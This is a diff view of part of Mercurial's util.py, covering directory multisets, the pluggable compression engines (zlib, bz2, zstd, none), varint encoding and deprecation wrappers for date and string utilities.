3272 3270 f.write(line)
3273 3271 f.flush()
3274 3272
3275 3273 class dirs(object):
3276 3274 '''a multiset of directory names from a dirstate or manifest'''
3277 3275
3278 3276 def __init__(self, map, skip=None):
3279 3277 self._dirs = {}
3280 3278 addpath = self.addpath
3281 3279 if safehasattr(map, 'iteritems') and skip is not None:
3282 3280 for f, s in map.iteritems():
3283 3281 if s[0] != skip:
3284 3282 addpath(f)
3285 3283 else:
3286 3284 for f in map:
3287 3285 addpath(f)
3288 3286
3289 3287 def addpath(self, path):
3290 3288 dirs = self._dirs
3291 3289 for base in finddirs(path):
3292 3290 if base in dirs:
3293 3291 dirs[base] += 1
3294 3292 return
3295 3293 dirs[base] = 1
3296 3294
3297 3295 def delpath(self, path):
3298 3296 dirs = self._dirs
3299 3297 for base in finddirs(path):
3300 3298 if dirs[base] > 1:
3301 3299 dirs[base] -= 1
3302 3300 return
3303 3301 del dirs[base]
3304 3302
3305 3303 def __iter__(self):
3306 3304 return iter(self._dirs)
3307 3305
3308 3306 def __contains__(self, d):
3309 3307 return d in self._dirs
3310 3308
3311 3309 if safehasattr(parsers, 'dirs'):
3312 3310 dirs = parsers.dirs
3313 3311
3314 3312 def finddirs(path):
3315 3313 pos = path.rfind('/')
3316 3314 while pos != -1:
3317 3315 yield path[:pos]
3318 3316 pos = path.rfind('/', 0, pos)
3319 3317
3320 3318 # compression code
3321 3319
3322 3320 SERVERROLE = 'server'
3323 3321 CLIENTROLE = 'client'
3324 3322
3325 3323 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3326 3324 (u'name', u'serverpriority',
3327 3325 u'clientpriority'))
3328 3326
3329 3327 class compressormanager(object):
3330 3328 """Holds registrations of various compression engines.
3331 3329
3332 3330 This class essentially abstracts the differences between compression
3333 3331 engines to allow new compression formats to be added easily, possibly from
3334 3332 extensions.
3335 3333
3336 3334 Compressors are registered against the global instance by calling its
3337 3335 ``register()`` method.
3338 3336 """
3339 3337 def __init__(self):
3340 3338 self._engines = {}
3341 3339 # Bundle spec human name to engine name.
3342 3340 self._bundlenames = {}
3343 3341 # Internal bundle identifier to engine name.
3344 3342 self._bundletypes = {}
3345 3343 # Revlog header to engine name.
3346 3344 self._revlogheaders = {}
3347 3345 # Wire proto identifier to engine name.
3348 3346 self._wiretypes = {}
3349 3347
3350 3348 def __getitem__(self, key):
3351 3349 return self._engines[key]
3352 3350
3353 3351 def __contains__(self, key):
3354 3352 return key in self._engines
3355 3353
3356 3354 def __iter__(self):
3357 3355 return iter(self._engines.keys())
3358 3356
3359 3357 def register(self, engine):
3360 3358 """Register a compression engine with the manager.
3361 3359
3362 3360 The argument must be a ``compressionengine`` instance.
3363 3361 """
3364 3362 if not isinstance(engine, compressionengine):
3365 3363 raise ValueError(_('argument must be a compressionengine'))
3366 3364
3367 3365 name = engine.name()
3368 3366
3369 3367 if name in self._engines:
3370 3368 raise error.Abort(_('compression engine %s already registered') %
3371 3369 name)
3372 3370
3373 3371 bundleinfo = engine.bundletype()
3374 3372 if bundleinfo:
3375 3373 bundlename, bundletype = bundleinfo
3376 3374
3377 3375 if bundlename in self._bundlenames:
3378 3376 raise error.Abort(_('bundle name %s already registered') %
3379 3377 bundlename)
3380 3378 if bundletype in self._bundletypes:
3381 3379 raise error.Abort(_('bundle type %s already registered by %s') %
3382 3380 (bundletype, self._bundletypes[bundletype]))
3383 3381
3384 3382 # No external facing name declared.
3385 3383 if bundlename:
3386 3384 self._bundlenames[bundlename] = name
3387 3385
3388 3386 self._bundletypes[bundletype] = name
3389 3387
3390 3388 wiresupport = engine.wireprotosupport()
3391 3389 if wiresupport:
3392 3390 wiretype = wiresupport.name
3393 3391 if wiretype in self._wiretypes:
3394 3392 raise error.Abort(_('wire protocol compression %s already '
3395 3393 'registered by %s') %
3396 3394 (wiretype, self._wiretypes[wiretype]))
3397 3395
3398 3396 self._wiretypes[wiretype] = name
3399 3397
3400 3398 revlogheader = engine.revlogheader()
3401 3399 if revlogheader and revlogheader in self._revlogheaders:
3402 3400 raise error.Abort(_('revlog header %s already registered by %s') %
3403 3401 (revlogheader, self._revlogheaders[revlogheader]))
3404 3402
3405 3403 if revlogheader:
3406 3404 self._revlogheaders[revlogheader] = name
3407 3405
3408 3406 self._engines[name] = engine
3409 3407
3410 3408 @property
3411 3409 def supportedbundlenames(self):
3412 3410 return set(self._bundlenames.keys())
3413 3411
3414 3412 @property
3415 3413 def supportedbundletypes(self):
3416 3414 return set(self._bundletypes.keys())
3417 3415
3418 3416 def forbundlename(self, bundlename):
3419 3417 """Obtain a compression engine registered to a bundle name.
3420 3418
3421 3419 Will raise KeyError if the bundle type isn't registered.
3422 3420
3423 3421 Will abort if the engine is known but not available.
3424 3422 """
3425 3423 engine = self._engines[self._bundlenames[bundlename]]
3426 3424 if not engine.available():
3427 3425 raise error.Abort(_('compression engine %s could not be loaded') %
3428 3426 engine.name())
3429 3427 return engine
3430 3428
3431 3429 def forbundletype(self, bundletype):
3432 3430 """Obtain a compression engine registered to a bundle type.
3433 3431
3434 3432 Will raise KeyError if the bundle type isn't registered.
3435 3433
3436 3434 Will abort if the engine is known but not available.
3437 3435 """
3438 3436 engine = self._engines[self._bundletypes[bundletype]]
3439 3437 if not engine.available():
3440 3438 raise error.Abort(_('compression engine %s could not be loaded') %
3441 3439 engine.name())
3442 3440 return engine
3443 3441
3444 3442 def supportedwireengines(self, role, onlyavailable=True):
3445 3443 """Obtain compression engines that support the wire protocol.
3446 3444
3447 3445 Returns a list of engines in prioritized order, most desired first.
3448 3446
3449 3447 If ``onlyavailable`` is set, filter out engines that can't be
3450 3448 loaded.
3451 3449 """
3452 3450 assert role in (SERVERROLE, CLIENTROLE)
3453 3451
3454 3452 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3455 3453
3456 3454 engines = [self._engines[e] for e in self._wiretypes.values()]
3457 3455 if onlyavailable:
3458 3456 engines = [e for e in engines if e.available()]
3459 3457
3460 3458 def getkey(e):
3461 3459 # Sort first by priority, highest first. In case of tie, sort
3462 3460 # alphabetically. This is arbitrary, but ensures output is
3463 3461 # stable.
3464 3462 w = e.wireprotosupport()
3465 3463 return -1 * getattr(w, attr), w.name
3466 3464
3467 3465 return list(sorted(engines, key=getkey))
3468 3466
3469 3467 def forwiretype(self, wiretype):
3470 3468 engine = self._engines[self._wiretypes[wiretype]]
3471 3469 if not engine.available():
3472 3470 raise error.Abort(_('compression engine %s could not be loaded') %
3473 3471 engine.name())
3474 3472 return engine
3475 3473
3476 3474 def forrevlogheader(self, header):
3477 3475 """Obtain a compression engine registered to a revlog header.
3478 3476
3479 3477 Will raise KeyError if the revlog header value isn't registered.
3480 3478 """
3481 3479 return self._engines[self._revlogheaders[header]]
3482 3480
3483 3481 compengines = compressormanager()
3484 3482
3485 3483 class compressionengine(object):
3486 3484 """Base class for compression engines.
3487 3485
3488 3486 Compression engines must implement the interface defined by this class.
3489 3487 """
3490 3488 def name(self):
3491 3489 """Returns the name of the compression engine.
3492 3490
3493 3491 This is the key the engine is registered under.
3494 3492
3495 3493 This method must be implemented.
3496 3494 """
3497 3495 raise NotImplementedError()
3498 3496
3499 3497 def available(self):
3500 3498 """Whether the compression engine is available.
3501 3499
3502 3500 The intent of this method is to allow optional compression engines
3503 3501 that may not be available in all installations (such as engines relying
3504 3502 on C extensions that may not be present).
3505 3503 """
3506 3504 return True
3507 3505
3508 3506 def bundletype(self):
3509 3507 """Describes bundle identifiers for this engine.
3510 3508
3511 3509 If this compression engine isn't supported for bundles, returns None.
3512 3510
3513 3511 If this engine can be used for bundles, returns a 2-tuple of strings of
3514 3512 the user-facing "bundle spec" compression name and an internal
3515 3513 identifier used to denote the compression format within bundles. To
3516 3514 exclude the name from external usage, set the first element to ``None``.
3517 3515
3518 3516 If bundle compression is supported, the class must also implement
3519 3517 ``compressstream`` and `decompressorreader``.
3520 3518
3521 3519 The docstring of this method is used in the help system to tell users
3522 3520 about this engine.
3523 3521 """
3524 3522 return None
3525 3523
3526 3524 def wireprotosupport(self):
3527 3525 """Declare support for this compression format on the wire protocol.
3528 3526
3529 3527 If this compression engine isn't supported for compressing wire
3530 3528 protocol payloads, returns None.
3531 3529
3532 3530 Otherwise, returns ``compenginewireprotosupport`` with the following
3533 3531 fields:
3534 3532
3535 3533 * String format identifier
3536 3534 * Integer priority for the server
3537 3535 * Integer priority for the client
3538 3536
3539 3537 The integer priorities are used to order the advertisement of format
3540 3538 support by server and client. The highest integer is advertised
3541 3539 first. Integers with non-positive values aren't advertised.
3542 3540
3543 3541 The priority values are somewhat arbitrary and only used for default
3544 3542 ordering. The relative order can be changed via config options.
3545 3543
3546 3544 If wire protocol compression is supported, the class must also implement
3547 3545 ``compressstream`` and ``decompressorreader``.
3548 3546 """
3549 3547 return None
3550 3548
3551 3549 def revlogheader(self):
3552 3550 """Header added to revlog chunks that identifies this engine.
3553 3551
3554 3552 If this engine can be used to compress revlogs, this method should
3555 3553 return the bytes used to identify chunks compressed with this engine.
3556 3554 Else, the method should return ``None`` to indicate it does not
3557 3555 participate in revlog compression.
3558 3556 """
3559 3557 return None
3560 3558
3561 3559 def compressstream(self, it, opts=None):
3562 3560 """Compress an iterator of chunks.
3563 3561
3564 3562 The method receives an iterator (ideally a generator) of chunks of
3565 3563 bytes to be compressed. It returns an iterator (ideally a generator)
3566 3564 of bytes of chunks representing the compressed output.
3567 3565
3568 3566 Optionally accepts an argument defining how to perform compression.
3569 3567 Each engine treats this argument differently.
3570 3568 """
3571 3569 raise NotImplementedError()
3572 3570
3573 3571 def decompressorreader(self, fh):
3574 3572 """Perform decompression on a file object.
3575 3573
3576 3574 Argument is an object with a ``read(size)`` method that returns
3577 3575 compressed data. Return value is an object with a ``read(size)`` that
3578 3576 returns uncompressed data.
3579 3577 """
3580 3578 raise NotImplementedError()
3581 3579
3582 3580 def revlogcompressor(self, opts=None):
3583 3581 """Obtain an object that can be used to compress revlog entries.
3584 3582
3585 3583 The object has a ``compress(data)`` method that compresses binary
3586 3584 data. This method returns compressed binary data or ``None`` if
3587 3585 the data could not be compressed (too small, not compressible, etc).
3588 3586 The returned data should have a header uniquely identifying this
3589 3587 compression format so decompression can be routed to this engine.
3590 3588 This header should be identified by the ``revlogheader()`` return
3591 3589 value.
3592 3590
3593 3591 The object has a ``decompress(data)`` method that decompresses
3594 3592 data. The method will only be called if ``data`` begins with
3595 3593 ``revlogheader()``. The method should return the raw, uncompressed
3596 3594 data or raise a ``RevlogError``.
3597 3595
3598 3596 The object is reusable but is not thread safe.
3599 3597 """
3600 3598 raise NotImplementedError()
3601 3599
3602 3600 class _zlibengine(compressionengine):
3603 3601 def name(self):
3604 3602 return 'zlib'
3605 3603
3606 3604 def bundletype(self):
3607 3605 """zlib compression using the DEFLATE algorithm.
3608 3606
3609 3607 All Mercurial clients should support this format. The compression
3610 3608 algorithm strikes a reasonable balance between compression ratio
3611 3609 and size.
3612 3610 """
3613 3611 return 'gzip', 'GZ'
3614 3612
3615 3613 def wireprotosupport(self):
3616 3614 return compewireprotosupport('zlib', 20, 20)
3617 3615
3618 3616 def revlogheader(self):
3619 3617 return 'x'
3620 3618
3621 3619 def compressstream(self, it, opts=None):
3622 3620 opts = opts or {}
3623 3621
3624 3622 z = zlib.compressobj(opts.get('level', -1))
3625 3623 for chunk in it:
3626 3624 data = z.compress(chunk)
3627 3625 # Not all calls to compress emit data. It is cheaper to inspect
3628 3626 # here than to feed empty chunks through generator.
3629 3627 if data:
3630 3628 yield data
3631 3629
3632 3630 yield z.flush()
3633 3631
3634 3632 def decompressorreader(self, fh):
3635 3633 def gen():
3636 3634 d = zlib.decompressobj()
3637 3635 for chunk in filechunkiter(fh):
3638 3636 while chunk:
3639 3637 # Limit output size to limit memory.
3640 3638 yield d.decompress(chunk, 2 ** 18)
3641 3639 chunk = d.unconsumed_tail
3642 3640
3643 3641 return chunkbuffer(gen())
3644 3642
3645 3643 class zlibrevlogcompressor(object):
3646 3644 def compress(self, data):
3647 3645 insize = len(data)
3648 3646 # Caller handles empty input case.
3649 3647 assert insize > 0
3650 3648
3651 3649 if insize < 44:
3652 3650 return None
3653 3651
3654 3652 elif insize <= 1000000:
3655 3653 compressed = zlib.compress(data)
3656 3654 if len(compressed) < insize:
3657 3655 return compressed
3658 3656 return None
3659 3657
3660 3658 # zlib makes an internal copy of the input buffer, doubling
3661 3659 # memory usage for large inputs. So do streaming compression
3662 3660 # on large inputs.
3663 3661 else:
3664 3662 z = zlib.compressobj()
3665 3663 parts = []
3666 3664 pos = 0
3667 3665 while pos < insize:
3668 3666 pos2 = pos + 2**20
3669 3667 parts.append(z.compress(data[pos:pos2]))
3670 3668 pos = pos2
3671 3669 parts.append(z.flush())
3672 3670
3673 3671 if sum(map(len, parts)) < insize:
3674 3672 return ''.join(parts)
3675 3673 return None
3676 3674
3677 3675 def decompress(self, data):
3678 3676 try:
3679 3677 return zlib.decompress(data)
3680 3678 except zlib.error as e:
3681 3679 raise error.RevlogError(_('revlog decompress error: %s') %
3682 3680 stringutil.forcebytestr(e))
3683 3681
3684 3682 def revlogcompressor(self, opts=None):
3685 3683 return self.zlibrevlogcompressor()
3686 3684
3687 3685 compengines.register(_zlibengine())
3688 3686
3689 3687 class _bz2engine(compressionengine):
3690 3688 def name(self):
3691 3689 return 'bz2'
3692 3690
3693 3691 def bundletype(self):
3694 3692 """An algorithm that produces smaller bundles than ``gzip``.
3695 3693
3696 3694 All Mercurial clients should support this format.
3697 3695
3698 3696 This engine will likely produce smaller bundles than ``gzip`` but
3699 3697 will be significantly slower, both during compression and
3700 3698 decompression.
3701 3699
3702 3700 If available, the ``zstd`` engine can yield similar or better
3703 3701 compression at much higher speeds.
3704 3702 """
3705 3703 return 'bzip2', 'BZ'
3706 3704
3707 3705 # We declare a protocol name but don't advertise by default because
3708 3706 # it is slow.
3709 3707 def wireprotosupport(self):
3710 3708 return compewireprotosupport('bzip2', 0, 0)
3711 3709
3712 3710 def compressstream(self, it, opts=None):
3713 3711 opts = opts or {}
3714 3712 z = bz2.BZ2Compressor(opts.get('level', 9))
3715 3713 for chunk in it:
3716 3714 data = z.compress(chunk)
3717 3715 if data:
3718 3716 yield data
3719 3717
3720 3718 yield z.flush()
3721 3719
3722 3720 def decompressorreader(self, fh):
3723 3721 def gen():
3724 3722 d = bz2.BZ2Decompressor()
3725 3723 for chunk in filechunkiter(fh):
3726 3724 yield d.decompress(chunk)
3727 3725
3728 3726 return chunkbuffer(gen())
3729 3727
3730 3728 compengines.register(_bz2engine())
3731 3729
3732 3730 class _truncatedbz2engine(compressionengine):
3733 3731 def name(self):
3734 3732 return 'bz2truncated'
3735 3733
3736 3734 def bundletype(self):
3737 3735 return None, '_truncatedBZ'
3738 3736
3739 3737 # We don't implement compressstream because it is hackily handled elsewhere.
3740 3738
3741 3739 def decompressorreader(self, fh):
3742 3740 def gen():
3743 3741 # The input stream doesn't have the 'BZ' header. So add it back.
3744 3742 d = bz2.BZ2Decompressor()
3745 3743 d.decompress('BZ')
3746 3744 for chunk in filechunkiter(fh):
3747 3745 yield d.decompress(chunk)
3748 3746
3749 3747 return chunkbuffer(gen())
3750 3748
3751 3749 compengines.register(_truncatedbz2engine())
3752 3750
3753 3751 class _noopengine(compressionengine):
3754 3752 def name(self):
3755 3753 return 'none'
3756 3754
3757 3755 def bundletype(self):
3758 3756 """No compression is performed.
3759 3757
3760 3758 Use this compression engine to explicitly disable compression.
3761 3759 """
3762 3760 return 'none', 'UN'
3763 3761
3764 3762 # Clients always support uncompressed payloads. Servers don't because
3765 3763 # unless you are on a fast network, uncompressed payloads can easily
3766 3764 # saturate your network pipe.
3767 3765 def wireprotosupport(self):
3768 3766 return compewireprotosupport('none', 0, 10)
3769 3767
3770 3768 # We don't implement revlogheader because it is handled specially
3771 3769 # in the revlog class.
3772 3770
3773 3771 def compressstream(self, it, opts=None):
3774 3772 return it
3775 3773
3776 3774 def decompressorreader(self, fh):
3777 3775 return fh
3778 3776
3779 3777 class nooprevlogcompressor(object):
3780 3778 def compress(self, data):
3781 3779 return None
3782 3780
3783 3781 def revlogcompressor(self, opts=None):
3784 3782 return self.nooprevlogcompressor()
3785 3783
3786 3784 compengines.register(_noopengine())
3787 3785
3788 3786 class _zstdengine(compressionengine):
3789 3787 def name(self):
3790 3788 return 'zstd'
3791 3789
3792 3790 @propertycache
3793 3791 def _module(self):
3794 3792 # Not all installs have the zstd module available. So defer importing
3795 3793 # until first access.
3796 3794 try:
3797 3795 from . import zstd
3798 3796 # Force delayed import.
3799 3797 zstd.__version__
3800 3798 return zstd
3801 3799 except ImportError:
3802 3800 return None
3803 3801
3804 3802 def available(self):
3805 3803 return bool(self._module)
3806 3804
3807 3805 def bundletype(self):
3808 3806 """A modern compression algorithm that is fast and highly flexible.
3809 3807
3810 3808 Only supported by Mercurial 4.1 and newer clients.
3811 3809
3812 3810 With the default settings, zstd compression is both faster and yields
3813 3811 better compression than ``gzip``. It also frequently yields better
3814 3812 compression than ``bzip2`` while operating at much higher speeds.
3815 3813
3816 3814 If this engine is available and backwards compatibility is not a
3817 3815 concern, it is likely the best available engine.
3818 3816 """
3819 3817 return 'zstd', 'ZS'
3820 3818
3821 3819 def wireprotosupport(self):
3822 3820 return compewireprotosupport('zstd', 50, 50)
3823 3821
3824 3822 def revlogheader(self):
3825 3823 return '\x28'
3826 3824
3827 3825 def compressstream(self, it, opts=None):
3828 3826 opts = opts or {}
3829 3827 # zstd level 3 is almost always significantly faster than zlib
3830 3828 # while providing no worse compression. It strikes a good balance
3831 3829 # between speed and compression.
3832 3830 level = opts.get('level', 3)
3833 3831
3834 3832 zstd = self._module
3835 3833 z = zstd.ZstdCompressor(level=level).compressobj()
3836 3834 for chunk in it:
3837 3835 data = z.compress(chunk)
3838 3836 if data:
3839 3837 yield data
3840 3838
3841 3839 yield z.flush()
3842 3840
3843 3841 def decompressorreader(self, fh):
3844 3842 zstd = self._module
3845 3843 dctx = zstd.ZstdDecompressor()
3846 3844 return chunkbuffer(dctx.read_from(fh))
3847 3845
3848 3846 class zstdrevlogcompressor(object):
3849 3847 def __init__(self, zstd, level=3):
3850 3848 # Writing the content size adds a few bytes to the output. However,
3851 3849 # it allows decompression to be more optimal since we can
3852 3850 # pre-allocate a buffer to hold the result.
3853 3851 self._cctx = zstd.ZstdCompressor(level=level,
3854 3852 write_content_size=True)
3855 3853 self._dctx = zstd.ZstdDecompressor()
3856 3854 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3857 3855 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3858 3856
3859 3857 def compress(self, data):
3860 3858 insize = len(data)
3861 3859 # Caller handles empty input case.
3862 3860 assert insize > 0
3863 3861
3864 3862 if insize < 50:
3865 3863 return None
3866 3864
3867 3865 elif insize <= 1000000:
3868 3866 compressed = self._cctx.compress(data)
3869 3867 if len(compressed) < insize:
3870 3868 return compressed
3871 3869 return None
3872 3870 else:
3873 3871 z = self._cctx.compressobj()
3874 3872 chunks = []
3875 3873 pos = 0
3876 3874 while pos < insize:
3877 3875 pos2 = pos + self._compinsize
3878 3876 chunk = z.compress(data[pos:pos2])
3879 3877 if chunk:
3880 3878 chunks.append(chunk)
3881 3879 pos = pos2
3882 3880 chunks.append(z.flush())
3883 3881
3884 3882 if sum(map(len, chunks)) < insize:
3885 3883 return ''.join(chunks)
3886 3884 return None
3887 3885
3888 3886 def decompress(self, data):
3889 3887 insize = len(data)
3890 3888
3891 3889 try:
3892 3890 # This was measured to be faster than other streaming
3893 3891 # decompressors.
3894 3892 dobj = self._dctx.decompressobj()
3895 3893 chunks = []
3896 3894 pos = 0
3897 3895 while pos < insize:
3898 3896 pos2 = pos + self._decompinsize
3899 3897 chunk = dobj.decompress(data[pos:pos2])
3900 3898 if chunk:
3901 3899 chunks.append(chunk)
3902 3900 pos = pos2
3903 3901 # Frame should be exhausted, so no finish() API.
3904 3902
3905 3903 return ''.join(chunks)
3906 3904 except Exception as e:
3907 3905 raise error.RevlogError(_('revlog decompress error: %s') %
3908 3906 stringutil.forcebytestr(e))
3909 3907
3910 3908 def revlogcompressor(self, opts=None):
3911 3909 opts = opts or {}
3912 3910 return self.zstdrevlogcompressor(self._module,
3913 3911 level=opts.get('level', 3))
3914 3912
3915 3913 compengines.register(_zstdengine())
3916 3914
3917 3915 def bundlecompressiontopics():
3918 3916 """Obtains a list of available bundle compressions for use in help."""
3919 3917 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3920 3918 items = {}
3921 3919
3922 3920 # We need to format the docstring. So use a dummy object/type to hold it
3923 3921 # rather than mutating the original.
3924 3922 class docobject(object):
3925 3923 pass
3926 3924
3927 3925 for name in compengines:
3928 3926 engine = compengines[name]
3929 3927
3930 3928 if not engine.available():
3931 3929 continue
3932 3930
3933 3931 bt = engine.bundletype()
3934 3932 if not bt or not bt[0]:
3935 3933 continue
3936 3934
3937 3935 doc = pycompat.sysstr('``%s``\n %s') % (
3938 3936 bt[0], engine.bundletype.__doc__)
3939 3937
3940 3938 value = docobject()
3941 3939 value.__doc__ = doc
3942 3940 value._origdoc = engine.bundletype.__doc__
3943 3941 value._origfunc = engine.bundletype
3944 3942
3945 3943 items[bt[0]] = value
3946 3944
3947 3945 return items
3948 3946
3949 3947 i18nfunctions = bundlecompressiontopics().values()
3950 3948
3951 3949 # convenient shortcut
3952 3950 dst = debugstacktrace
3953 3951
3954 3952 def safename(f, tag, ctx, others=None):
3955 3953 """
3956 3954 Generate a name that it is safe to rename f to in the given context.
3957 3955
3958 3956 f: filename to rename
3959 3957 tag: a string tag that will be included in the new name
3960 3958 ctx: a context, in which the new name must not exist
3961 3959 others: a set of other filenames that the new name must not be in
3962 3960
3963 3961 Returns a file name of the form oldname~tag[~number] which does not exist
3964 3962 in the provided context and is not in the set of other names.
3965 3963 """
3966 3964 if others is None:
3967 3965 others = set()
3968 3966
3969 3967 fn = '%s~%s' % (f, tag)
3970 3968 if fn not in ctx and fn not in others:
3971 3969 return fn
3972 3970 for n in itertools.count(1):
3973 3971 fn = '%s~%s~%s' % (f, tag, n)
3974 3972 if fn not in ctx and fn not in others:
3975 3973 return fn
3976 3974
3977 3975 def readexactly(stream, n):
3978 3976 '''read n bytes from stream.read and abort if less was available'''
3979 3977 s = stream.read(n)
3980 3978 if len(s) < n:
3981 3979 raise error.Abort(_("stream ended unexpectedly"
3982 3980 " (got %d bytes, expected %d)")
3983 3981 % (len(s), n))
3984 3982 return s
3985 3983
3986 3984 def uvarintencode(value):
3987 3985 """Encode an unsigned integer value to a varint.
3988 3986
3989 3987 A varint is a variable length integer of 1 or more bytes. Each byte
3990 3988 except the last has the most significant bit set. The lower 7 bits of
3991 3989 each byte store the 2's complement representation, least significant group
3992 3990 first.
3993 3991
3994 3992 >>> uvarintencode(0)
3995 3993 '\\x00'
3996 3994 >>> uvarintencode(1)
3997 3995 '\\x01'
3998 3996 >>> uvarintencode(127)
3999 3997 '\\x7f'
4000 3998 >>> uvarintencode(1337)
4001 3999 '\\xb9\\n'
4002 4000 >>> uvarintencode(65536)
4003 4001 '\\x80\\x80\\x04'
4004 4002 >>> uvarintencode(-1)
4005 4003 Traceback (most recent call last):
4006 4004 ...
4007 4005 ProgrammingError: negative value for uvarint: -1
4008 4006 """
4009 4007 if value < 0:
4010 4008 raise error.ProgrammingError('negative value for uvarint: %d'
4011 4009 % value)
4012 4010 bits = value & 0x7f
4013 4011 value >>= 7
4014 4012 bytes = []
4015 4013 while value:
4016 4014 bytes.append(pycompat.bytechr(0x80 | bits))
4017 4015 bits = value & 0x7f
4018 4016 value >>= 7
4019 4017 bytes.append(pycompat.bytechr(bits))
4020 4018
4021 4019 return ''.join(bytes)
4022 4020
4023 4021 def uvarintdecodestream(fh):
4024 4022 """Decode an unsigned variable length integer from a stream.
4025 4023
4026 4024 The passed argument is anything that has a ``.read(N)`` method.
4027 4025
4028 4026 >>> try:
4029 4027 ... from StringIO import StringIO as BytesIO
4030 4028 ... except ImportError:
4031 4029 ... from io import BytesIO
4032 4030 >>> uvarintdecodestream(BytesIO(b'\\x00'))
4033 4031 0
4034 4032 >>> uvarintdecodestream(BytesIO(b'\\x01'))
4035 4033 1
4036 4034 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
4037 4035 127
4038 4036 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
4039 4037 1337
4040 4038 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
4041 4039 65536
4042 4040 >>> uvarintdecodestream(BytesIO(b'\\x80'))
4043 4041 Traceback (most recent call last):
4044 4042 ...
4045 4043 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
4046 4044 """
4047 4045 result = 0
4048 4046 shift = 0
4049 4047 while True:
4050 4048 byte = ord(readexactly(fh, 1))
4051 4049 result |= ((byte & 0x7f) << shift)
4052 4050 if not (byte & 0x80):
4053 4051 return result
4054 4052 shift += 7
4055 4053
4056 4054 ###
4057 4055 # Deprecation warnings for util.py splitting
4058 4056 ###
4059 4057
4060 4058 def _deprecatedfunc(func, version):
4061 4059 def wrapped(*args, **kwargs):
4062 4060 fn = pycompat.sysbytes(func.__name__)
4063 4061 mn = pycompat.sysbytes(func.__module__)[len('mercurial.'):]
4064 4062 msg = "'util.%s' is deprecated, use '%s.%s'" % (fn, mn, fn)
4065 4063 nouideprecwarn(msg, version)
4066 4064 return func(*args, **kwargs)
4067 4065 wrapped.__name__ = func.__name__
4068 4066 return wrapped
4069 4067
4070 4068 defaultdateformats = dateutil.defaultdateformats
4071 4069 extendeddateformats = dateutil.extendeddateformats
4072 4070 makedate = _deprecatedfunc(dateutil.makedate, '4.6')
4073 4071 datestr = _deprecatedfunc(dateutil.datestr, '4.6')
4074 4072 shortdate = _deprecatedfunc(dateutil.shortdate, '4.6')
4075 4073 parsetimezone = _deprecatedfunc(dateutil.parsetimezone, '4.6')
4076 4074 strdate = _deprecatedfunc(dateutil.strdate, '4.6')
4077 4075 parsedate = _deprecatedfunc(dateutil.parsedate, '4.6')
4078 4076 matchdate = _deprecatedfunc(dateutil.matchdate, '4.6')
4079 4077
4080 4078 escapedata = _deprecatedfunc(stringutil.escapedata, '4.6')
4081 4079 binary = _deprecatedfunc(stringutil.binary, '4.6')
4082 4080 stringmatcher = _deprecatedfunc(stringutil.stringmatcher, '4.6')
4083 4081 shortuser = _deprecatedfunc(stringutil.shortuser, '4.6')
4084 4082 emailuser = _deprecatedfunc(stringutil.emailuser, '4.6')
4085 4083 email = _deprecatedfunc(stringutil.email, '4.6')
4086 4084 ellipsis = _deprecatedfunc(stringutil.ellipsis, '4.6')
4087 4085 escapestr = _deprecatedfunc(stringutil.escapestr, '4.6')
4088 4086 unescapestr = _deprecatedfunc(stringutil.unescapestr, '4.6')
4089 4087 forcebytestr = _deprecatedfunc(stringutil.forcebytestr, '4.6')
4090 4088 uirepr = _deprecatedfunc(stringutil.uirepr, '4.6')
4091 4089 wrap = _deprecatedfunc(stringutil.wrap, '4.6')
4092 4090 parsebool = _deprecatedfunc(stringutil.parsebool, '4.6')
General Comments 0
You need to be logged in to leave comments. Login now